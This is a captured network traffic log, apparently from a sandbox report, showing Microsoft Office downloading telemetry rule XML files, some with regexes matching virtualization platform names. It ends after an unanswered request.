2024-11-07 05:01:10 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:10 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:10 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:10 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 5274f941-001e-00ad-2b5c-2e554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050110Z-17df447cdb5zfhrmhC1DFWh33000000003w00000000064gg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:10 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:10 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:10 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:10 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 06fd63be-801e-008f-5e01-2d2c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050110Z-16547b76f7fsjlq8hC1DFWehq000000007bg00000000mme3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-07 05:01:10 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:10 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:10 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:10 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 29e284b5-001e-0065-5703-2d0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050110Z-16547b76f7fr4g8xhC1DFW9cqc00000006sg00000000n9fp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:10 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:11 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:11 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:11 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 9ba15ece-101e-0034-5d08-2c96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050111Z-16547b76f7fdf69shC1DFWcpd000000007h000000000fgpx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:11 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:11 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:11 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:11 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 1572e0e4-b01e-003e-1a0c-2d8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050111Z-16547b76f7fcjqqhhC1DFWrrrc00000007pg000000007fz1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:11 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:11 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:11 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:11 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: d55876ee-301e-0099-5603-2d6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050111Z-16547b76f7f2g4rlhC1DFWnx8800000007q00000000009ff x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:11 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:11 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:11 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:11 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 52d88e03-c01e-007a-7b0b-2db877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050111Z-16547b76f7fdf69shC1DFWcpd000000007m00000000092zy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-07 05:01:11 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:11 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:11 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:11 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: fa46a579-901e-0016-6a5f-2eefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050111Z-15869dbbcc6x4rp4hC1DFW3t7w00000008hg00000000e1kd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:11 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:12 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:12 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:12 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 2fadba2e-601e-0070-7603-2fa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050112Z-17df447cdb5fh5hghC1DFWam0400000000z000000000cqf9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-07 05:01:12 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:12 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:12 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:12 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: c70a6fb1-401e-000a-3458-2e4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050112Z-17df447cdb5c9wvxhC1DFWn08n000000040000000000cmhd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:12 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:12 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:12 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:12 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 2f2a95d3-901e-00ac-5b08-2cb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050112Z-16547b76f7fkj7j4hC1DFW0a9g00000007gg00000000swzg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:12 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:12 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
